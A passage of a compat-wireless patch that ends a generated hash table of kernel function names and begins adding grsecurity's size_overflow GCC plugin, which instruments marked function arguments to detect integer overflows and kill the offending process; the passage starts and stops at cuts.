process_bulk_data_command 4 38906 _003694_hash NULL ++_003695_hash pvr2_v4l2_read 3 18006 _003695_hash NULL ++_003696_hash qcam_read 3 13977 _003696_hash NULL ++_003697_hash register_unifi_sdio 2 55239 _003697_hash NULL ++_003698_hash resize_async_buffer 4 64031 _003698_hash &_002431_hash ++_003699_hash rtllib_auth_challenge 3 12493 _003699_hash NULL ++_003702_hash stk_allocate_buffers 2 16291 _003702_hash NULL ++_003703_hash subdev_ioctl 2 28417 _003703_hash NULL ++_003704_hash _sys_packet_req 4 46793 _003704_hash NULL ++_003705_hash tm6000_i2c_recv_regs16 5 2949 _003705_hash NULL ++_003706_hash tm6000_i2c_recv_regs 5 46215 _003706_hash NULL ++_003707_hash tm6000_i2c_send_regs 5 20250 _003707_hash NULL ++_003708_hash tt3650_ci_msg_locked 4 8013 _003708_hash NULL ++_003709_hash ufx_ops_write 3 54848 _003709_hash NULL ++_003710_hash update_macheader 7 1775 _003710_hash NULL ++_003711_hash usbdux_attach_common 4 51764 _003750_hash NULL nohasharray ++_003712_hash usbduxfast_attach_common 4 52538 _003712_hash NULL ++_003713_hash usbduxsigma_attach_common 4 40847 _003713_hash NULL ++_003714_hash uvc_v4l2_ioctl 2 8411 _003714_hash NULL ++_003715_hash v4l2_ctrl_new_int_menu 4 41151 _003715_hash NULL ++_003716_hash v4l2_ctrl_new_std 5 45748 _003716_hash &_000497_hash ++_003717_hash v4l2_ctrl_new_std_menu 4 6221 _003717_hash NULL ++_003718_hash vb2_read 3 42703 _003718_hash NULL ++_003719_hash vb2_write 3 31948 _003719_hash NULL ++_003720_hash vfio_pci_set_msi_trigger 3-4 26507 _003720_hash NULL ++_003722_hash viafb_iga1_odev_proc_write 3 36241 _003722_hash NULL ++_003723_hash viafb_iga2_odev_proc_write 3 2363 _003723_hash NULL ++_003724_hash __videobuf_alloc_cached 1 12740 _003724_hash NULL ++_003725_hash __videobuf_alloc_uncached 1 55711 _003725_hash NULL ++_003726_hash __videobuf_copy_stream 4 44769 _003726_hash NULL ++_003727_hash videobuf_read_one 3 31637 _003727_hash NULL ++_003728_hash video_ioctl2 2 21380 _003728_hash NULL ++_003729_hash vmap 2 15025 _003729_hash NULL ++_003730_hash vmw_cursor_update_dmabuf 3-4 32045 _003730_hash NULL ++_003732_hash vmw_gmr_bind 3 44130 _003732_hash NULL ++_003733_hash xd_read_multiple_pages 4-5 11422 _003733_hash NULL ++_003735_hash xd_write_multiple_pages 5-6 53633 _003735_hash NULL ++_003737_hash xenfb_write 3 43412 _003737_hash NULL ++_003738_hash arch_gnttab_map_shared 3 41306 _003738_hash NULL ++_003739_hash arch_gnttab_map_status 3 49812 _003739_hash NULL ++_003740_hash bttv_read 3 11432 _003740_hash NULL ++_003741_hash cx18_read 3 23699 _003741_hash NULL ++_003742_hash cx2341x_ctrl_new_menu 3 49700 _003742_hash NULL ++_003743_hash cx2341x_ctrl_new_std 4 57061 _003743_hash NULL ++_003744_hash cx25821_video_ioctl 2 30188 _003744_hash NULL ++_003745_hash dt3155_read 3 59226 _003745_hash NULL ++_003746_hash ioremap_cache 1-2 47189 _003746_hash NULL ++_003748_hash ioremap_nocache 1-2 2439 _003748_hash NULL ++_003750_hash ioremap_prot 1-2 51764 _003750_hash &_003711_hash ++_003752_hash ioremap_wc 1-2 62695 _003752_hash NULL ++_003754_hash ivtv_read_pos 3 34400 _003754_hash &_000312_hash ++_003755_hash mcam_v4l_read 3 36513 _003755_hash NULL ++_003756_hash ms_rw_multi_sector 3-4 7459 _003756_hash NULL ++_003758_hash pvr2_v4l2_ioctl 2 24398 _003758_hash &_000877_hash ++_003759_hash ramoops_init_prz 5 12134 _003759_hash NULL ++_003761_hash ttm_bo_kmap_ttm 3 5922 _003761_hash NULL ++_003762_hash uf_ap_process_data_pdu 7 25860 _003762_hash NULL ++_003763_hash vb2_fop_read 3 24080 _003763_hash NULL ++_003764_hash vb2_fop_write 3 30420 _003764_hash NULL ++_003765_hash videobuf_read_stream 3 14956 _003765_hash NULL ++_003766_hash video_read 3 28148 _003766_hash NULL ++_003767_hash vmw_du_crtc_cursor_set 4-5 28479 _003767_hash NULL ++_003769_hash xd_rw 3-4 49020 _003769_hash NULL ++_003771_hash zoran_ioctl 2 30465 _003771_hash NULL ++_003772_hash zr364xx_read 3 2354 _003772_hash NULL ++_003773_hash acpi_os_ioremap 1-2 49523 _003773_hash NULL ++_003775_hash au0828_v4l2_read 3 40220 _003775_hash NULL ++_003776_hash ca91cx42_alloc_resource 2 10502 _003776_hash NULL ++_003778_hash cx18_read_pos 3 4683 _003778_hash NULL ++_003779_hash cx18_v4l2_read 3 21196 _003779_hash NULL ++_003780_hash cx231xx_v4l2_read 3 55014 _003780_hash NULL ++_003781_hash devm_ioremap_nocache 2-3 2036 _003781_hash NULL ++_003783_hash do_test 1 15766 _003783_hash NULL ++_003784_hash __einj_error_trigger 1 17707 _003784_hash &_001764_hash ++_003785_hash em28xx_v4l2_read 3 16701 _003785_hash NULL ++_003786_hash init_chip_wc_pat 2 62768 _003786_hash NULL ++_003787_hash intel_render_ring_init_dri 2-3 45446 _003787_hash NULL ++_003789_hash io_mapping_create_wc 1-2 1354 _003789_hash NULL ++_003791_hash iommu_map_mmio_space 1 30919 _003791_hash NULL ++_003792_hash ioremap 1-2 23172 _003792_hash NULL ++_003794_hash ivtv_v4l2_read 3 1964 _003794_hash NULL ++_003795_hash mga_ioremap 1-2 8571 _003795_hash NULL ++_003797_hash mpeg_read 3 6708 _003797_hash NULL ++_003798_hash msix_map_region 3 3411 _003798_hash NULL ++_003799_hash ms_rw 3-4 17220 _003799_hash NULL ++_003801_hash pci_iomap 3 47575 _003801_hash NULL ++_003802_hash pd_video_read 3 24510 _003802_hash NULL ++_003803_hash sfi_map_memory 1-2 5183 _003803_hash NULL ++_003805_hash solo_enc_read 3 33553 _003805_hash NULL ++_003806_hash solo_v4l2_read 3 59247 _003806_hash NULL ++_003807_hash timblogiw_read 3 48305 _003807_hash NULL ++_003808_hash tm6000_read 3 4151 _003808_hash NULL ++_003809_hash tsi148_alloc_resource 2 24563 _003809_hash NULL ++_003810_hash ttm_bo_ioremap 2-3 31082 _003810_hash NULL ++_003812_hash ttm_bo_kmap 3-2 60118 _003812_hash NULL ++_003813_hash vb2_vmalloc_get_userptr 3 31374 _003813_hash NULL ++_003814_hash vbi_read 3 63673 _003814_hash NULL ++_003815_hash viacam_read 3 54526 _003815_hash NULL ++_003816_hash xlate_dev_mem_ptr 1 15291 _003816_hash &_001231_hash ++_003817_hash a4t_cs_init 3 27734 _003817_hash NULL ++_003818_hash aac_nark_ioremap 2 50163 _003818_hash &_000323_hash ++_003819_hash aac_rkt_ioremap 2 3333 _003819_hash NULL ++_003820_hash aac_rx_ioremap 2 52410 _003820_hash NULL ++_003821_hash aac_sa_ioremap 2 13596 _003821_hash &_000299_hash ++_003822_hash aac_src_ioremap 2 41688 _003822_hash NULL ++_003823_hash aac_srcv_ioremap 2 6659 _003823_hash NULL ++_003824_hash acpi_map 1-2 58725 _003824_hash NULL ++_003826_hash acpi_os_read_memory 1-3 54186 _003826_hash NULL ++_003828_hash acpi_os_write_memory 1-3 56416 _003828_hash &_003429_hash ++_003830_hash atyfb_setup_generic 3 49151 _003830_hash NULL ++_003831_hash ca91cx42_master_set 4 23146 _003831_hash NULL ++_003832_hash check_mirror 1-2 57342 _003832_hash &_001753_hash ++_003834_hash cycx_setup 4 47562 _003834_hash NULL ++_003835_hash devm_ioremap 2-3 29235 _003835_hash NULL ++_003837_hash divasa_remap_pci_bar 3-4 23485 _003837_hash &_000979_hash ++_003839_hash doc_probe 1 23285 _003839_hash NULL ++_003840_hash DoC_Probe 1 57534 _003840_hash NULL ++_003841_hash efi_ioremap 1-2 3492 _003841_hash &_001137_hash ++_003843_hash ems_pcmcia_add_card 2 62627 _003843_hash NULL ++_003844_hash isp1760_register 1-2 628 _003844_hash NULL ++_003846_hash mid_get_vbt_data_r0 2 10876 _003846_hash NULL ++_003847_hash mid_get_vbt_data_r10 2 6308 _003847_hash NULL ++_003848_hash mid_get_vbt_data_r1 2 26170 _003848_hash NULL ++_003849_hash mthca_map_reg 2-3 5664 _003849_hash NULL ++_003851_hash mthca_setup_cmd_doorbells 2 53954 _003851_hash NULL ++_003852_hash netxen_nic_map_indirect_address_128M 2 42257 _003852_hash NULL ++_003853_hash pcim_iomap 3 58334 _003853_hash NULL ++_003854_hash persistent_ram_iomap 1-2 47156 _003854_hash NULL ++_003856_hash read_vbt_r0 1 503 _003856_hash NULL ++_003857_hash read_vbt_r10 1 60679 _003857_hash NULL ++_003858_hash register_device 2-3 60015 _003858_hash NULL ++_003860_hash remap_pci_mem 1-2 15966 _003860_hash NULL ++_003862_hash rtl_port_map 1-2 2385 _003862_hash NULL ++_003864_hash sfi_map_table 1 5462 _003864_hash NULL ++_003865_hash sriov_enable_migration 2 14889 _003865_hash NULL ++_003866_hash ssb_bus_scan 2 36578 _003866_hash NULL ++_003867_hash ssb_ioremap 2 5228 _003867_hash NULL ++_003868_hash tpci200_slot_map_space 2 3848 _003868_hash NULL ++_003869_hash tpm_tis_init 2-3 15304 _003869_hash NULL ++_003871_hash tsi148_master_set 4 14685 _003871_hash NULL ++_003872_hash acpi_os_map_memory 1-2 11161 _003872_hash NULL ++_003874_hash com90xx_found 3 13974 _003874_hash NULL ++_003875_hash netxen_nic_hw_read_wx_128M 2 26858 _003875_hash NULL ++_003876_hash netxen_nic_hw_write_wx_128M 2 33488 _003876_hash NULL ++_003877_hash sfi_check_table 1 6772 _003877_hash NULL ++_003878_hash sfi_sysfs_install_table 1 51688 _003878_hash NULL ++_003879_hash sriov_enable 2 59689 _003879_hash NULL ++_003880_hash ssb_bus_register 3 65183 _003880_hash NULL ++_003881_hash acpi_ex_system_memory_space_handler 2 31192 _003881_hash NULL ++_003882_hash acpi_tb_check_xsdt 1 21862 _003882_hash NULL ++_003883_hash acpi_tb_install_table 1 12988 _003883_hash NULL ++_003884_hash acpi_tb_parse_root_table 1 53455 _003884_hash NULL ++_003885_hash check_vendor_extension 1 3254 _003885_hash NULL ++_003886_hash pci_enable_sriov 2 35745 _003886_hash NULL ++_003887_hash ssb_bus_pcmciabus_register 3 56020 _003887_hash NULL ++_003888_hash ssb_bus_ssbbus_register 2 2217 _003888_hash NULL ++_003889_hash lpfc_sli_probe_sriov_nr_virtfn 2 26004 _003889_hash NULL ++_003890_hash alloc_vm_area 1 36149 _003890_hash NULL ++_003891_hash cma_create_area 2 38642 _003891_hash NULL ++_003893_hash fbcon_prepare_logo 5 6246 _003893_hash NULL ++_003894_hash io_mapping_map_wc 2 19284 _003894_hash NULL ++_003895_hash nfs_dns_resolve_name 3 25036 _003895_hash NULL ++_003896_hash nfs_parse_server_name 2 1899 _003896_hash NULL +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/size_overflow_plugin.c compat-wireless-3.6-rc7-1-snpc/tools/gcc/size_overflow_plugin.c +--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/size_overflow_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/size_overflow_plugin.c 2012-10-15 17:30:59.835924531 +0000 +@@ -0,0 +1,1879 @@ ++/* ++ * Copyright 2011, 2012 by Emese Revfy ++ * Licensed under the GPL v2, or (at your option) v3 ++ * ++ * Homepage: ++ * http://www.grsecurity.net/~ephox/overflow_plugin/ ++ * ++ * This plugin recomputes expressions of function arguments marked by a size_overflow attribute ++ * with double integer precision (DImode/TImode for 32/64 bit integer types). ++ * The recomputed argument is checked against TYPE_MAX and an event is logged on overflow and the triggering process is killed. ++ * ++ * Usage: ++ * $ gcc -I`gcc -print-file-name=plugin`/include/c-family -I`gcc -print-file-name=plugin`/include -fPIC -shared -O2 -ggdb -Wall -W -Wno-missing-field-initializers -o size_overflow_plugin.so size_overflow_plugin.c ++ * $ gcc -fplugin=size_overflow_plugin.so test.c -O2 ++ */ ++ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "intl.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "toplev.h" ++#include "function.h" ++#include "tree-flow.h" ++#include "plugin.h" ++#include "gimple.h" ++#include "c-common.h" ++#include "diagnostic.h" ++#include "cfgloop.h" ++ ++#if BUILDING_GCC_VERSION >= 4007 ++#include "c-tree.h" ++#else ++#define C_DECL_IMPLICIT(EXP) DECL_LANG_FLAG_2 (EXP) ++#endif ++ ++struct size_overflow_hash { ++ const struct size_overflow_hash * const next; ++ const char * const name; ++ const unsigned int param; ++}; ++ ++#include "size_overflow_hash.h" ++ ++enum marked { ++ MARKED_NO, MARKED_YES, MARKED_NOT_INTENTIONAL ++}; ++ ++#define __unused __attribute__((__unused__)) ++#define NAME(node) IDENTIFIER_POINTER(DECL_NAME(node)) ++#define NAME_LEN(node) IDENTIFIER_LENGTH(DECL_NAME(node)) ++#define BEFORE_STMT true ++#define AFTER_STMT false ++#define CREATE_NEW_VAR NULL_TREE ++#define CODES_LIMIT 32 ++#define MAX_PARAM 32 ++#define MY_STMT GF_PLF_1 ++#define NO_CAST_CHECK GF_PLF_2 ++ ++#if BUILDING_GCC_VERSION == 4005 ++#define DECL_CHAIN(NODE) (TREE_CHAIN(DECL_MINIMAL_CHECK(NODE))) ++#endif ++ ++int plugin_is_GPL_compatible; ++void debug_gimple_stmt(gimple gs); ++ ++static tree expand(struct pointer_set_t *visited, tree lhs); ++static bool pre_expand(struct pointer_set_t *visited, const_tree lhs); ++static tree report_size_overflow_decl; ++static const_tree const_char_ptr_type_node; ++static unsigned int handle_function(void); ++static void check_size_overflow(gimple stmt, tree size_overflow_type, tree cast_rhs, tree rhs, bool before); ++static tree get_size_overflow_type(gimple stmt, const_tree node); ++static tree dup_assign(struct pointer_set_t *visited, gimple oldstmt, tree size_overflow_type, tree rhs1, tree rhs2, tree __unused rhs3); ++ ++static struct plugin_info size_overflow_plugin_info = { ++ .version = "20120930beta", ++ .help = "no-size-overflow\tturn off size overflow checking\n", ++}; ++ ++static tree handle_size_overflow_attribute(tree *node, tree __unused name, tree args, int __unused flags, bool *no_add_attrs) ++{ ++ unsigned int arg_count; ++ enum tree_code code = TREE_CODE(*node); ++ ++ switch (code) { ++ case FUNCTION_DECL: ++ arg_count = type_num_arguments(TREE_TYPE(*node)); ++ break; ++ case FUNCTION_TYPE: ++ case METHOD_TYPE: ++ arg_count = type_num_arguments(*node); ++ break; ++ default: ++ *no_add_attrs = true; ++ error("%s: %qE attribute only applies to functions", __func__, name); ++ return NULL_TREE; ++ } ++ ++ for (; args; args = TREE_CHAIN(args)) { ++ tree position = TREE_VALUE(args); ++ if (TREE_CODE(position) != INTEGER_CST || TREE_INT_CST_HIGH(position) || TREE_INT_CST_LOW(position) < 1 || TREE_INT_CST_LOW(position) > arg_count ) { ++ error("%s: parameter %u is outside range.", __func__, (unsigned int)TREE_INT_CST_LOW(position)); ++ *no_add_attrs = true; ++ } ++ } ++ return NULL_TREE; ++} ++ ++static const char* get_asm_name(tree node) ++{ ++ return IDENTIFIER_POINTER(DECL_ASSEMBLER_NAME(node)); ++} ++ ++static tree handle_intentional_overflow_attribute(tree *node, tree __unused name, tree args, int __unused flags, bool *no_add_attrs) ++{ ++ unsigned int arg_count, arg_num; ++ enum tree_code code = TREE_CODE(*node); ++ ++ switch (code) { ++ case FUNCTION_DECL: ++ arg_count = type_num_arguments(TREE_TYPE(*node)); ++ break; ++ case FUNCTION_TYPE: ++ case METHOD_TYPE: ++ arg_count = type_num_arguments(*node); ++ break; ++ case FIELD_DECL: ++ arg_num = TREE_INT_CST_LOW(TREE_VALUE(args)); ++ if (arg_num != 0) { ++ *no_add_attrs = true; ++ error("%s: %qE attribute parameter can only be 0 in structure fields", __func__, name); ++ } ++ return NULL_TREE; ++ default: ++ *no_add_attrs = true; ++ error("%qE attribute only applies to functions", name); ++ return NULL_TREE; ++ } ++ ++ for (; args; args = TREE_CHAIN(args)) { ++ tree position = TREE_VALUE(args); ++ if (TREE_CODE(position) != INTEGER_CST || TREE_INT_CST_HIGH(position) || TREE_INT_CST_LOW(position) > arg_count ) { ++ error("%s: parameter %u is outside range.", __func__, (unsigned int)TREE_INT_CST_LOW(position)); ++ *no_add_attrs = true; ++ } ++ } ++ return NULL_TREE; ++} ++ ++static struct attribute_spec size_overflow_attr = { ++ .name = "size_overflow", ++ .min_length = 1, ++ .max_length = -1, ++ .decl_required = true, ++ .type_required = false, ++ .function_type_required = false, ++ .handler = handle_size_overflow_attribute, ++#if BUILDING_GCC_VERSION >= 4007 ++ .affects_type_identity = false ++#endif ++}; ++ ++static struct attribute_spec intentional_overflow_attr = { ++ .name = "intentional_overflow", ++ .min_length = 1, ++ .max_length = -1, ++ .decl_required = true, ++ .type_required = false, ++ .function_type_required = false, ++ .handler = handle_intentional_overflow_attribute, ++#if BUILDING_GCC_VERSION >= 4007 ++ .affects_type_identity = false ++#endif ++}; ++ ++static void register_attributes(void __unused *event_data, void __unused *data) ++{ ++ register_attribute(&size_overflow_attr); ++ register_attribute(&intentional_overflow_attr); ++} ++ ++// http://www.team5150.com/~andrew/noncryptohashzoo2~/CrapWow.html ++static unsigned int CrapWow(const char *key, unsigned int len, unsigned int seed) ++{ ++#define cwfold( a, b, lo, hi ) { p = (unsigned int)(a) * (unsigned long long)(b); lo ^= (unsigned int)p; hi ^= (unsigned int)(p >> 32); } ++#define cwmixa( in ) { cwfold( in, m, k, h ); } ++#define cwmixb( in ) { cwfold( in, n, h, k ); } ++ ++ unsigned int m = 0x57559429; ++ unsigned int n = 0x5052acdb; ++ const unsigned int *key4 = (const unsigned int *)key; ++ unsigned int h = len; ++ unsigned int k = len + seed + n; ++ unsigned long long p; ++ ++ while (len >= 8) { ++ cwmixb(key4[0]) cwmixa(key4[1]) key4 += 2; ++ len -= 8; ++ } ++ if (len >= 4) { ++ cwmixb(key4[0]) key4 += 1; ++ len -= 4; ++ } ++ if (len) ++ cwmixa(key4[0] & ((1 << (len * 8)) - 1 )); ++ cwmixb(h ^ (k + n)); ++ return k ^ h; ++ ++#undef cwfold ++#undef cwmixa ++#undef cwmixb ++} ++ ++static inline unsigned int get_hash_num(const char *fndecl, const char *tree_codes, unsigned int len, unsigned int seed) ++{ ++ unsigned int fn = CrapWow(fndecl, strlen(fndecl), seed) & 0xffff; ++ unsigned int codes = CrapWow(tree_codes, len, seed) & 0xffff; ++ return fn ^ codes; ++} ++ ++static inline tree get_original_function_decl(tree fndecl) ++{ ++ if (DECL_ABSTRACT_ORIGIN(fndecl)) ++ return DECL_ABSTRACT_ORIGIN(fndecl); ++ return fndecl; ++} ++ ++static inline gimple get_def_stmt(const_tree node) ++{ ++ gcc_assert(node != NULL_TREE); ++ gcc_assert(TREE_CODE(node) == SSA_NAME); ++ return SSA_NAME_DEF_STMT(node); ++} ++ ++static unsigned char get_tree_code(const_tree type) ++{ ++ switch (TREE_CODE(type)) { ++ case ARRAY_TYPE: ++ return 0; ++ case BOOLEAN_TYPE: ++ return 1; ++ case ENUMERAL_TYPE: ++ return 2; ++ case FUNCTION_TYPE: ++ return 3; ++ case INTEGER_TYPE: ++ return 4; ++ case POINTER_TYPE: ++ return 5; ++ case RECORD_TYPE: ++ return 6; ++ case UNION_TYPE: ++ return 7; ++ case VOID_TYPE: ++ return 8; ++ case REAL_TYPE: ++ return 9; ++ case VECTOR_TYPE: ++ return 10; ++ case REFERENCE_TYPE: ++ return 11; ++ case OFFSET_TYPE: ++ return 12; ++ case COMPLEX_TYPE: ++ return 13; ++ default: ++ debug_tree((tree)type); ++ gcc_unreachable(); ++ } ++} ++ ++static size_t add_type_codes(const_tree type, unsigned char *tree_codes, size_t len) ++{ ++ gcc_assert(type != NULL_TREE); ++ ++ while (type && len < CODES_LIMIT) { ++ tree_codes[len] = get_tree_code(type); ++ len++; ++ type = TREE_TYPE(type); ++ } ++ return len; ++} ++ ++static unsigned int get_function_decl(const_tree fndecl, unsigned char *tree_codes) ++{ ++ const_tree arg, result, arg_field, type = TREE_TYPE(fndecl); ++ enum tree_code code = TREE_CODE(type); ++ size_t len = 0; ++ ++ gcc_assert(code == FUNCTION_TYPE || code == METHOD_TYPE); ++ ++ arg = TYPE_ARG_TYPES(type); ++ // skip builtins __builtin_constant_p ++ if (!arg && DECL_BUILT_IN(fndecl)) ++ return 0; ++ ++ if (TREE_CODE_CLASS(code) == tcc_type) ++ result = type; ++ else ++ result = DECL_RESULT(fndecl); ++ ++ gcc_assert(result != NULL_TREE); ++ len = add_type_codes(TREE_TYPE(result), tree_codes, len); ++ ++ if (arg == NULL_TREE) { ++ gcc_assert(CODE_CONTAINS_STRUCT(TREE_CODE(fndecl), TS_DECL_NON_COMMON)); ++ arg_field = DECL_ARGUMENT_FLD(fndecl); ++ if (arg_field == NULL_TREE) ++ return 0; ++ arg = TREE_TYPE(arg_field); ++ len = add_type_codes(arg, tree_codes, len); ++ gcc_assert(len != 0); ++ return len; ++ } ++ ++ gcc_assert(arg != NULL_TREE && TREE_CODE(arg) == TREE_LIST); ++ while (arg && len < CODES_LIMIT) { ++ len = add_type_codes(TREE_VALUE(arg), tree_codes, len); ++ arg = TREE_CHAIN(arg); ++ } ++ ++ gcc_assert(len != 0); ++ return len; ++} ++ ++static const struct size_overflow_hash *get_function_hash(tree fndecl) ++{ ++ unsigned int hash; ++ const struct size_overflow_hash *entry; ++ unsigned char tree_codes[CODES_LIMIT]; ++ size_t len; ++ const char *func_name = get_asm_name(fndecl); ++ ++ len = get_function_decl(fndecl, tree_codes); ++ if (len == 0) ++ return NULL; ++ ++ hash = get_hash_num(func_name, (const char*) tree_codes, len, 0); ++ ++ entry = size_overflow_hash[hash]; ++ while (entry) { ++ if (!strcmp(entry->name, func_name)) ++ return entry; ++ entry = entry->next; ++ } ++ ++ return NULL; ++} ++ ++static void check_arg_type(const_tree arg) ++{ ++ const_tree type = TREE_TYPE(arg); ++ enum tree_code code = TREE_CODE(type); ++ ++ gcc_assert(code == INTEGER_TYPE || code == ENUMERAL_TYPE || ++ (code == POINTER_TYPE && TREE_CODE(TREE_TYPE(type)) == VOID_TYPE) || ++ (code == POINTER_TYPE && TREE_CODE(TREE_TYPE(type)) == INTEGER_TYPE)); ++} ++ ++static int find_arg_number(const_tree arg, tree func) ++{ ++ tree var; ++ unsigned int argnum = 1; ++ ++ if (TREE_CODE(arg) == SSA_NAME) ++ arg = SSA_NAME_VAR(arg); ++ ++ for (var = DECL_ARGUMENTS(func); var; var = TREE_CHAIN(var)) { ++ if (strcmp(NAME(arg), NAME(var))) { ++ argnum++; ++ continue; ++ } ++ check_arg_type(var); ++ return argnum; ++ } ++ gcc_unreachable(); ++} ++ ++static tree create_new_var(tree type) ++{ ++ tree new_var = create_tmp_var(type, "cicus"); ++ ++ add_referenced_var(new_var); ++ mark_sym_for_renaming(new_var); ++ return new_var; ++} ++ ++static gimple create_binary_assign(enum tree_code code, gimple stmt, tree rhs1, tree rhs2) ++{ ++ gimple assign; ++ gimple_stmt_iterator gsi = gsi_for_stmt(stmt); ++ tree type = TREE_TYPE(rhs1); ++ tree lhs = create_new_var(type); ++ ++ assign = gimple_build_assign_with_ops(code, lhs, rhs1, rhs2); ++ gimple_set_lhs(assign, make_ssa_name(lhs, assign)); ++ ++ gsi_insert_before(&gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++ gimple_set_plf(assign, MY_STMT, true); ++ return assign; ++} ++ ++static bool is_bool(const_tree node) ++{ ++ const_tree type; ++ ++ if (node == NULL_TREE) ++ return false; ++ ++ type = TREE_TYPE(node); ++ if (!INTEGRAL_TYPE_P(type)) ++ return false; ++ if (TREE_CODE(type) == BOOLEAN_TYPE) ++ return true; ++ if (TYPE_PRECISION(type) == 1) ++ return true; ++ return false; ++} ++ ++static tree cast_a_tree(tree type, tree var) ++{ ++ gcc_assert(type != NULL_TREE); ++ gcc_assert(var != NULL_TREE); ++ gcc_assert(fold_convertible_p(type, var)); ++ ++ return fold_convert(type, var); ++} ++ ++static gimple build_cast_stmt(tree dst_type, tree rhs, tree lhs, gimple_stmt_iterator *gsi, bool before) ++{ ++ gimple assign; ++ ++ gcc_assert(dst_type != NULL_TREE && rhs != NULL_TREE); ++ if (gsi_end_p(*gsi) && before == AFTER_STMT) ++ gcc_unreachable(); ++ ++ if (lhs == CREATE_NEW_VAR) ++ lhs = create_new_var(dst_type); ++ ++ assign = gimple_build_assign(lhs, cast_a_tree(dst_type, rhs)); ++ ++ if (!gsi_end_p(*gsi)) { ++ location_t loc = gimple_location(gsi_stmt(*gsi)); ++ gimple_set_location(assign, loc); ++ } ++ ++ gimple_set_lhs(assign, make_ssa_name(lhs, assign)); ++ ++ if (before) ++ gsi_insert_before(gsi, assign, GSI_NEW_STMT); ++ else ++ gsi_insert_after(gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++ gimple_set_plf(assign, MY_STMT, true); ++ ++ return assign; ++} ++ ++static tree cast_to_new_size_overflow_type(gimple stmt, tree new_rhs1, tree size_overflow_type, bool before) ++{ ++ const_gimple assign; ++ gimple_stmt_iterator gsi; ++ ++ if (new_rhs1 == NULL_TREE) ++ return NULL_TREE; ++ ++ if (!useless_type_conversion_p(TREE_TYPE(new_rhs1), size_overflow_type)) { ++ gsi = gsi_for_stmt(stmt); ++ assign = build_cast_stmt(size_overflow_type, new_rhs1, CREATE_NEW_VAR, &gsi, before); ++ return gimple_get_lhs(assign); ++ } ++ return new_rhs1; ++} ++ ++static tree follow_overflow_type_and_dup(struct pointer_set_t *visited, gimple stmt, const_tree node, tree new_rhs1, tree new_rhs2, tree new_rhs3) ++{ ++ tree size_overflow_type = get_size_overflow_type(stmt, node); ++ ++ new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT); ++ ++ if (new_rhs2 != NULL_TREE) ++ new_rhs2 = cast_to_new_size_overflow_type(stmt, new_rhs2, size_overflow_type, BEFORE_STMT); ++ ++ if (new_rhs3 != NULL_TREE) ++ new_rhs3 = cast_to_new_size_overflow_type(stmt, new_rhs3, size_overflow_type, BEFORE_STMT); ++ ++ return dup_assign(visited, stmt, size_overflow_type, new_rhs1, new_rhs2, new_rhs3); ++} ++ ++ ++static tree create_assign(struct pointer_set_t *visited, gimple oldstmt, tree rhs1, bool before) ++{ ++ tree size_overflow_type, lhs; ++ gimple stmt; ++ gimple_stmt_iterator gsi; ++ ++ if (rhs1 == NULL_TREE) { ++ debug_gimple_stmt(oldstmt); ++ error("%s: rhs1 is NULL_TREE", __func__); ++ gcc_unreachable(); ++ } ++ ++ if (gimple_code(oldstmt) == GIMPLE_ASM) ++ lhs = rhs1; ++ else ++ lhs = gimple_get_lhs(oldstmt); ++ ++ gsi = gsi_for_stmt(oldstmt); ++ pointer_set_insert(visited, oldstmt); ++ if (lookup_stmt_eh_lp(oldstmt) != 0) { ++ basic_block next_bb, cur_bb; ++ const_edge e; ++ ++ gcc_assert(before == false); ++ gcc_assert(stmt_can_throw_internal(oldstmt)); ++ gcc_assert(gimple_code(oldstmt) == GIMPLE_CALL); ++ gcc_assert(!gsi_end_p(gsi)); ++ ++ cur_bb = gimple_bb(oldstmt); ++ next_bb = cur_bb->next_bb; ++ e = find_edge(cur_bb, next_bb); ++ gcc_assert(e != NULL); ++ gcc_assert(e->flags & EDGE_FALLTHRU); ++ ++ gsi = gsi_after_labels(next_bb); ++ gcc_assert(!gsi_end_p(gsi)); ++ ++ before = true; ++ oldstmt = gsi_stmt(gsi); ++ } ++ ++ size_overflow_type = get_size_overflow_type(oldstmt, lhs); ++ ++ stmt = build_cast_stmt(size_overflow_type, rhs1, CREATE_NEW_VAR, &gsi, before); ++ gimple_set_plf(stmt, MY_STMT, true); ++ return gimple_get_lhs(stmt); ++} ++ ++static tree dup_assign(struct pointer_set_t *visited, gimple oldstmt, tree size_overflow_type, tree rhs1, tree rhs2, tree __unused rhs3) ++{ ++ gimple stmt; ++ gimple_stmt_iterator gsi; ++ tree new_var, lhs = gimple_get_lhs(oldstmt); ++ ++ if (gimple_plf(oldstmt, MY_STMT)) ++ return lhs; ++ ++ if (gimple_num_ops(oldstmt) != 4 && rhs1 == NULL_TREE) { ++ rhs1 = gimple_assign_rhs1(oldstmt); ++ rhs1 = create_assign(visited, oldstmt, rhs1, BEFORE_STMT); ++ } ++ if (gimple_num_ops(oldstmt) == 3 && rhs2 == NULL_TREE) { ++ rhs2 = gimple_assign_rhs2(oldstmt); ++ rhs2 = create_assign(visited, oldstmt, rhs2, BEFORE_STMT); ++ } ++ ++ stmt = gimple_copy(oldstmt); ++ gimple_set_location(stmt, gimple_location(oldstmt)); ++ gimple_set_plf(stmt, MY_STMT, true); ++ ++ if (gimple_assign_rhs_code(oldstmt) == WIDEN_MULT_EXPR) ++ gimple_assign_set_rhs_code(stmt, MULT_EXPR); ++ ++ if (is_bool(lhs)) ++ new_var = SSA_NAME_VAR(lhs); ++ else ++ new_var = create_new_var(size_overflow_type); ++ new_var = make_ssa_name(new_var, stmt); ++ gimple_set_lhs(stmt, new_var); ++ ++ if (rhs1 != NULL_TREE) { ++ if (!gimple_assign_cast_p(oldstmt)) ++ rhs1 = cast_a_tree(size_overflow_type, rhs1); ++ gimple_assign_set_rhs1(stmt, rhs1); ++ } ++ ++ if (rhs2 != NULL_TREE) ++ gimple_assign_set_rhs2(stmt, rhs2); ++#if BUILDING_GCC_VERSION >= 4007 ++ if (rhs3 != NULL_TREE) ++ gimple_assign_set_rhs3(stmt, rhs3); ++#endif ++ gimple_set_vuse(stmt, gimple_vuse(oldstmt)); ++ gimple_set_vdef(stmt, 